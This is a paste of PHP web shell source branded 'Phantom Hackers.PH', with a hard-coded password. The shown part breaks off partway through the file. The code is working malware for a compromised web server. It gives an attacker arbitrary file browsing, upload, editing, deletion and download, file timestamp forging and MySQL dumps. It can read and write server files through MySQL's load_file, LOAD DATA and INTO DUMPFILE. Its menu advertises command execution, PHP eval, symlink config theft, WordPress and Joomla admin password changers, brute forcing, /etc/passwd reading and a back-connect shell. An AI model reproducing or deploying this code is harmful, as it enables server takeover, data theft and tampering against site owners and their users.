· 10 years ago · Jun 22, 2016, 03:36 PM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0 );
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
14@set_time_limit(0);
15
16foreach(array('_GET','_POST') as $_request) {
17 foreach($$_request as $_key => $_value) {
18 if ($_key{0} != '_') {
19 if (IS_GPC) {
20 $_value = s_array($_value);
21 }
22 $$_key = $_value;
23 }
24 }
25}
26
27/*================= Info Login ================*/
28$admin = array();
29$admin['check'] = true;
30$admin['pass'] = 'kh4lifax'; // Password login
31$admin['cookiepre'] = '';
32$admin['cookiedomain'] = '';
33$admin['cookiepath'] = '/';
34$admin['cookielife'] = 86400;
35/*===================== End =====================*/
36
37if ($charset == 'utf8') {
38 header("content-Type: text/html; charset=utf-8");
39} elseif ($charset == 'big5') {
40 header("content-Type: text/html; charset=big5");
41} elseif ($charset == 'gbk') {
42 header("content-Type: text/html; charset=gbk");
43} elseif ($charset == 'latin1') {
44 header("content-Type: text/html; charset=iso-8859-2");
45}
46
47$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
48$timestamp = time();
49
50/*===================== Login =====================*/
51if ($action == "logout") {
52 scookie('vbapass', '', -86400 * 365);
53 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
54 p('<body background=black>');
55 exit;
56}
57if($admin['check']) {
58 if ($doing == 'login') {
59 if ($admin['pass'] == $password) {
60 scookie('vbapass', $password);
61 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
62 p('<body bgcolor=black>
63<BR><BR><div align=center><font color=yellow face=tahoma size=2>Phantom Hackers.PH Shell~ Please Wait.<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
64 exit;
65 }
66
67 else
68 {
69 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
70echo $err_mess;
71 }}
72 if ($_COOKIE['vbapass']) {
73 if ($_COOKIE['vbapass'] != $admin['pass']) {
74 loginpage();
75 }
76 } else {
77 loginpage();
78 }
79}
80/*===================== Login =====================*/
81
82$errmsg = '';
83
84if ($action == 'phpinfo') {
85 if (IS_PHPINFO) {
86 phpinfo();
87 } else {
88 $errmsg = 'phpinfo() function has non-permissible';
89 }
90}
91
92
93if ($doing == 'downfile' && $thefile) {
94 if (!@file_exists($thefile)) {
95 $errmsg = 'The file you want Downloadable was nonexistent';
96 } else {
97 $fileinfo = pathinfo($thefile);
98 header('Content-type: application/x-'.$fileinfo['extension']);
99 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
100 header('Content-Length: '.filesize($thefile));
101 @readfile($thefile);
102 exit;
103 }
104}
105
106
107if ($doing == 'backupmysql' && !$saveasfile) {
108 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
109 $table = array_flip($table);
110 $result = q("SHOW tables");
111 if (!$result) p('<h2>'.mysql_error().'</h2>');
112 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
113 header('Content-type: application/unknown');
114 header('Content-Disposition: attachment; filename='.$filename);
115 $mysqldata = '';
116 while ($currow = mysql_fetch_array($result)) {
117 if (isset($table[$currow[0]])) {
118 $mysqldata .= sqldumptable($currow[0]);
119 }
120 }
121 mysql_close();
122 exit;
123}
124
125// Mysql
126if($doing=='mysqldown'){
127 if (!$dbname) {
128 $errmsg = 'Please input dbname';
129 } else {
130 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
131 if (!file_exists($mysqldlfile)) {
132 $errmsg = 'The file you want Downloadable was nonexistent';
133 } else {
134 $result = q("select load_file('$mysqldlfile');");
135 if(!$result){
136 q("DROP TABLE IF EXISTS tmp_angel;");
137 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
138 //Download SQL
139 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
140 $result = q("select content from tmp_angel");
141 q("DROP TABLE tmp_angel");
142 }
143 $row = @mysql_fetch_array($result);
144 if (!$row) {
145 $errmsg = 'Load file failed '.mysql_error();
146 } else {
147 $fileinfo = pathinfo($mysqldlfile);
148 header('Content-type: application/x-'.$fileinfo['extension']);
149 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
150 header("Accept-Length: ".strlen($row[0]));
151 echo $row[0];
152 exit;
153 }
154 }
155 }
156}
157
158?>
159<html>
160<head>
161<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
162<title><?php echo str_replace('.','','Phantom Hackers.PH ~Kh4lifax');?></title>
163<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur862.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur862.png), progress !important;}
164<a href="http://www.cursors-4u.com/cursor/2011/11/22/night-diamond-bloody-red-link-select.html" target="_blank" title="Night Diamond Bloody Red - Link Select"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Night Diamond Bloody Red - Link Select" style="position:absolute; top: 0px; right: 0px;" /></a>
165</style>
166<style type="text/css">
167body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
168
169a {color: #AAFFCC;text-decoration:none;}
170a:hover{color: #f00;text-decoration:underline;}
171.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
172.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
173.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
174.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
175.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
176.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
177.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
178.head td span{font-weight:normal;}
179form{margin:0;padding:0;}
180h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
181ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
182u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
183input, textarea, button
184{
185 font-size: 9pt;
186 color: #ccc;
187 font-family: verdana, sans-serif;
188 background-color: #202020;
189 border-left: 1px solid #AAFFCC;
190 border-top: 1px solid #AAFFCC;
191 border-right: 1px solid #AAFFCC;
192 border-bottom: 1px solid #AAFFCC;
193}
194select
195{
196 font-size: 8pt;
197 font-weight: normal;
198 color: #ccc;
199 font-family: verdana, sans-serif;
200 background-color: #202020;
201}
202
203</style>
204<script type="text/javascript">
205function CheckAll(form) {
206 for(var i=0;i<form.elements.length;i++) {
207 var e = form.elements[i];
208 if (e.name != 'chkall')
209 e.checked = form.chkall.checked;
210 }
211}
212function $(id) {
213 return document.getElementById(id);
214}
215function goaction(act){
216 $('goaction').action.value=act;
217 $('goaction').submit();
218}
219</script>
220</head>
221<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
222
223
224<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
225 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#990066">
226 <tr>
227 <td align="center" valign=center>
228 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
229 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
230 </div>
231 </td>
232 </tr>
233 </table>
234 </div>
235 <script>
236 var ld=(document.all);
237 var ns4=document.layers;
238 var ns6=document.getElementById&&!document.all;
239 var ie4=document.all;
240 if (ns4)
241 ld=document.loading;
242 else if (ns6)
243 ld=document.getElementById("loading").style;
244 else if (ie4)
245 ld=document.all.loading.style;
246 function init()
247 {
248 if(ns4){ld.visibility="hidden";}
249 else if (ns6||ie4) ld.display="none";
250 }
251 </script>
252
253
254
255
256<table width="100%" border="0" cellpadding="0" cellspacing="0">
257 <tr class="head_small">
258 <td width=100%>
259 <table width=100%><tr class="head_small"><td width=86px><a title="Phantom Hackers.PH" href="<?php $self;?>"><img src=http://i1350.photobucket.com/albums/p761/khalifax/oie_transparent_zpsaca3c35a.png height=86 border=0></a></td><td>
260 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://twitter.com/Paulbits" target="_blank"><?php echo str_replace('.','','Phantom Hackers.PH ');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
261
262 <?php
263 $curl_on = @function_exists('curl_version');
264 $mysql_on = @function_exists('mysql_connect');
265 $mssql_on = @function_exists('mssql_connect');
266 $pg_on = @function_exists('pg_connect');
267 $ora_on = @function_exists('ocilogon');
268
269echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
270echo "PHP version: <b>".@phpversion()."</b> - ";
271 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
272 echo "MySQL: <b>";
273$mysql_on = @function_exists('mysql_connect');
274if($mysql_on){
275echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
276echo "MSSQL: <b>";
277$mssql_on = @function_exists('mssql_connect');
278if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
279echo "PostgreSQL: <b>";
280$pg_on = @function_exists('pg_connect');
281if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
282echo "Oracle: <b>";
283$ora_on = @function_exists('ocilogon');
284if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
285
286echo "Disable functions : <b>";
287if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
288echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
289echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
290 ?>
291 </td></tr></table></td>
292 </tr>
293 <tr class="alt1">
294 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=blue>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=blue>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <a href="javascript:goaction('safemode');"> Safe Mode Off</a><br />
295--------------------------------------------------------------------------------------<br />
296
297 <a href="javascript:goaction('file');">File Manager</a> |
298 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
299 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
300 <a href="javascript:goaction('shell');">Execute Command</a> |
301 <a href="javascript:goaction('phpenv');">PHP Variable</a> |<p/>
302 <a href="javascript:goaction('eval');">Eval PHP Code</a> |
303 <a href="javascript:goaction('cgi2012');">CGI Telnet 2012</a> |
304 <a href="javascript:goaction('port-sc');">Open Port Scanner</a> |
305 <a href="javascript:goaction('symlink');">Symlink</a> |
306 <a href="javascript:goaction('jumping');">Jumping</a> |
307 <a href="javascript:goaction('whmcs');">WHCMS Decoder</a> |
308 <a href="javascript:goaction('config');">Symlink Config</a> | <p/>
309 <a href="javascript:goaction('joomla');">Joomla Admin Password Changer</a> |
310 <a href="javascript:goaction('wp');">Wordpress Admin Password Changer</a>
311 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
312 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
313 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
314
315 </td>
316 </tr>
317</table>
318<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
319<?php
320
321formhead(array('name'=>'goaction'));
322makehide('action');
323formfoot();
324
325$errmsg && m($errmsg);
326
327// Dir function
328!$dir && $dir = '.';
329$nowpath = getPath(SA_ROOT, $dir);
330if (substr($dir, -1) != '/') {
331 $dir = $dir.'/';
332}
333$uedir = ue($dir);
334
335if (!$action || $action == 'file') {
336
337 // Non-writeable
338 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
339
340 // Delete dir
341 if ($doing == 'deldir' && $thefile) {
342 if (!file_exists($thefile)) {
343 m($thefile.' directory does not exist');
344 } else {
345 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
346 }
347 }
348
349 // Create new dir
350 elseif ($newdirname) {
351 $mkdirs = $nowpath.$newdirname;
352 if (file_exists($mkdirs)) {
353 m('Directory has already existed');
354 } else {
355 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
356 @chmod($mkdirs,0777);
357 }
358 }
359
360 // Upload file
361 elseif ($doupfile) {
362 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
363 }
364
365 // Edit file
366 elseif ($editfilename && $filecontent) {
367 $fp = @fopen($editfilename,'w');
368 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
369 @fclose($fp);
370 }
371
372 // Modify
373 elseif ($pfile && $newperm) {
374 if (!file_exists($pfile)) {
375 m('The original file does not exist');
376 } else {
377 $newperm = base_convert($newperm,8,10);
378 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
379 }
380 }
381
382 // Rename
383 elseif ($oldname && $newfilename) {
384 $nname = $nowpath.$newfilename;
385 if (file_exists($nname) || !file_exists($oldname)) {
386 m($nname.' has already existed or original file does not exist');
387 } else {
388 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
389 }
390 }
391
392 // Copu
393 elseif ($sname && $tofile) {
394 if (file_exists($tofile) || !file_exists($sname)) {
395 m('The goal file has already existed or original file does not exist');
396 } else {
397 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
398 }
399 }
400
401 // File exit
402 elseif ($curfile && $tarfile) {
403 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
404 m('The goal file has already existed or original file does not exist');
405 } else {
406 $time = @filemtime($tarfile);
407 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
408 }
409 }
410
411 // Date
412 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
413 if (!@file_exists($curfile)) {
414 m(basename($curfile).' does not exist');
415 } else {
416 $time = strtotime("$year-$month-$day $hour:$minute:$second");
417 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
418 }
419 }
420
421 // Download
422 elseif($doing == 'downrar') {
423 if ($dl) {
424 $dfiles='';
425 foreach ($dl as $filepath => $value) {
426 $dfiles.=$filepath.',';
427 }
428 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
429 $dl=explode(',',$dfiles);
430 $zip=new PHPZip($dl);
431 $code=$zip->out;
432 header('Content-type: application/octet-stream');
433 header('Accept-Ranges: bytes');
434 header('Accept-Length: '.strlen($code));
435 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
436 echo $code;
437 exit;
438 } else {
439 m('Please select file(s)');
440 }
441 }
442
443 // Delete file
444 elseif($doing == 'delfiles') {
445 if ($dl) {
446 $dfiles='';
447 $succ = $fail = 0;
448 foreach ($dl as $filepath => $value) {
449 if (@unlink($filepath)) {
450 $succ++;
451 } else {
452 $fail++;
453 }
454 }
455 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
456 } else {
457 m('Please select file(s)');
458 }
459 }
460
461 // Function Newdir
462 formhead(array('name'=>'createdir'));
463 makehide('newdirname');
464 makehide('dir',$nowpath);
465 formfoot();
466 formhead(array('name'=>'fileperm'));
467 makehide('newperm');
468 makehide('pfile');
469 makehide('dir',$nowpath);
470 formfoot();
471 formhead(array('name'=>'copyfile'));
472 makehide('sname');
473 makehide('tofile');
474 makehide('dir',$nowpath);
475 formfoot();
476 formhead(array('name'=>'rename'));
477 makehide('oldname');
478 makehide('newfilename');
479 makehide('dir',$nowpath);
480 formfoot();
481 formhead(array('name'=>'fileopform'));
482 makehide('action');
483 makehide('opfile');
484 makehide('dir');
485 formfoot();
486
487 $free = @disk_free_space($nowpath);
488 !$free && $free = 0;
489 $all = @disk_total_space($nowpath);
490 !$all && $all = 0;
491 $used = $all-$free;
492 $used_percent = @round(100/($all/$free),2);
493 p('<font color=blue face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
494
495?>
496<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
497 <form action="" method="post" id="godir" name="godir">
498 <tr>
499 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
500 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
501 <td nowrap><input class="bt" value="GO" type="submit"></td>
502 </tr>
503 </form>
504</table>
505<script type="text/javascript">
506function createdir(){
507 var newdirname;
508 newdirname = prompt('Please input the directory name:', '');
509 if (!newdirname) return;
510 $('createdir').newdirname.value=newdirname;
511 $('createdir').submit();
512}
513function fileperm(pfile){
514 var newperm;
515 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
516 if (!newperm) return;
517 $('fileperm').newperm.value=newperm;
518 $('fileperm').pfile.value=pfile;
519 $('fileperm').submit();
520}
521function copyfile(sname){
522 var tofile;
523 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
524 if (!tofile) return;
525 $('copyfile').tofile.value=tofile;
526 $('copyfile').sname.value=sname;
527 $('copyfile').submit();
528}
529function rename(oldname){
530 var newfilename;
531 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
532 if (!newfilename) return;
533 $('rename').newfilename.value=newfilename;
534 $('rename').oldname.value=oldname;
535 $('rename').submit();
536}
537function dofile(doing,thefile,m){
538 if (m && !confirm(m)) {
539 return;
540 }
541 $('filelist').doing.value=doing;
542 if (thefile){
543 $('filelist').thefile.value=thefile;
544 }
545 $('filelist').submit();
546}
547function createfile(nowpath){
548 var filename;
549 filename = prompt('Please input the file name:', '');
550 if (!filename) return;
551 opfile('editfile',nowpath + filename,nowpath);
552}
553function opfile(action,opfile,dir){
554 $('fileopform').action.value=action;
555 $('fileopform').opfile.value=opfile;
556 $('fileopform').dir.value=dir;
557 $('fileopform').submit();
558}
559function godir(dir,view_writable){
560 if (view_writable) {
561 $('godir').view_writable.value=1;
562 }
563 $('godir').dir.value=dir;
564 $('godir').submit();
565}
566</script>
567 <?php
568 tbhead();
569 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
570 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
571 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
572 if ($view_writable) {
573 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
574 } else {
575 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
576 }
577 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
578 if (IS_WIN && IS_COM) {
579 $obj = new COM('scripting.filesystemobject');
580 if ($obj && is_object($obj)) {
581 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
582 foreach($obj->Drives as $drive) {
583 if ($drive->DriveType == 2) {
584 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
585 } else {
586 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
587 }
588 }
589 }
590 }
591
592 p('</td></tr></form>');
593
594 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
595
596 // Get path
597 $dirdata=array();
598 $filedata=array();
599
600 if ($view_writable) {
601 $dirdata = GetList($nowpath);
602 } else {
603 // Open dir
604 $dirs=@opendir($dir);
605 while ($file=@readdir($dirs)) {
606 $filepath=$nowpath.$file;
607 if(@is_dir($filepath)){
608 $dirdb['filename']=$file;
609 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
610 $dirdb['dirchmod']=getChmod($filepath);
611 $dirdb['dirperm']=getPerms($filepath);
612 $dirdb['fileowner']=getUser($filepath);
613 $dirdb['dirlink']=$nowpath;
614 $dirdb['server_link']=$filepath;
615 $dirdb['client_link']=ue($filepath);
616 $dirdata[]=$dirdb;
617 } else {
618 $filedb['filename']=$file;
619 $filedb['size']=sizecount(@filesize($filepath));
620 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
621 $filedb['filechmod']=getChmod($filepath);
622 $filedb['fileperm']=getPerms($filepath);
623 $filedb['fileowner']=getUser($filepath);
624 $filedb['dirlink']=$nowpath;
625 $filedb['server_link']=$filepath;
626 $filedb['client_link']=ue($filepath);
627 $filedata[]=$filedb;
628 }
629 }// while
630 unset($dirdb);
631 unset($filedb);
632 @closedir($dirs);
633 }
634 @sort($dirdata);
635 @sort($filedata);
636 $dir_i = '0';
637 foreach($dirdata as $key => $dirdb){
638 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
639 $thisbg = bg();
640 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
641 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
642 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
643 p('<td nowrap>'.$dirdb['mtime'].'</td>');
644 p('<td nowrap>--</td>');
645 p('<td nowrap>');
646 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
647 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
648 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
649 p('</tr>');
650 $dir_i++;
651 } else {
652 if($dirdb['filename']=='..') {
653 p('<tr class=fout>');
654 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
655 p('</tr>');
656 }
657 }
658 }
659
660 p('<tr bgcolor="blue" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
661 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
662 makehide('action','file');
663 makehide('thefile');
664 makehide('doing');
665 makehide('dir',$nowpath);
666 $file_i = '0';
667 foreach($filedata as $key => $filedb){
668 if($filedb['filename']!='..' && $filedb['filename']!='.') {
669 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
670 $thisbg = bg();
671 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
672 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
673 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
674 p('<td nowrap>'.$filedb['mtime'].'</td>');
675 p('<td nowrap>'.$filedb['size'].'</td>');
676 p('<td nowrap>');
677 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
678 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
679 p('<td nowrap>');
680 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
681 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
682 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
683 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
684 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
685 p('</td></tr>');
686 $file_i++;
687 }
688 }
689 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
690 p('</form></table>');
691}// end dir
692
693elseif ($action == 'sqlfile') {
694 if($doing=="mysqlupload"){
695 $file = $_FILES['uploadfile'];
696 $filename = $file['tmp_name'];
697 if (file_exists($savepath)) {
698 m('The goal file has already existed');
699 } else {
700 if(!$filename) {
701 m('Please choose a file');
702 } else {
703 $fp=@fopen($filename,'r');
704 $contents=@fread($fp, filesize($filename));
705 @fclose($fp);
706 $contents = bin2hex($contents);
707 if(!$upname) $upname = $file['name'];
708 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
709 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
710 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
711 }
712 }
713 }
714?>
715<script type="text/javascript">
716function mysqlfile(doing){
717 if(!doing) return;
718 $('doing').value=doing;
719 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
720 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
721 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
722 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
723 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
724 $('mysqlfile').charset.value=$('dbinfo').charset.value;
725 $('mysqlfile').submit();
726}
727</script>
728<?php
729 !$dbhost && $dbhost = 'localhost';
730 !$dbuser && $dbuser = 'root';
731 !$dbport && $dbport = '3306';
732 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
733 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
734 makehide('action','sqlfile');
735 p('<p>');
736 p('DBHost:');
737 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
738 p(':');
739 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
740 p('DBUser:');
741 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
742 p('DBPass:');
743 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
744 p('DBName:');
745 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
746 p('DBCharset:');
747 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
748 p('</p>');
749 formfoot();
750 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
751 p('<h2>Upload file</h2>');
752 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
753 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
754 p('<h2>Download file</h2>');
755 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
756 makehide('dbhost');
757 makehide('dbport');
758 makehide('dbuser');
759 makehide('dbpass');
760 makehide('dbname');
761 makehide('charset');
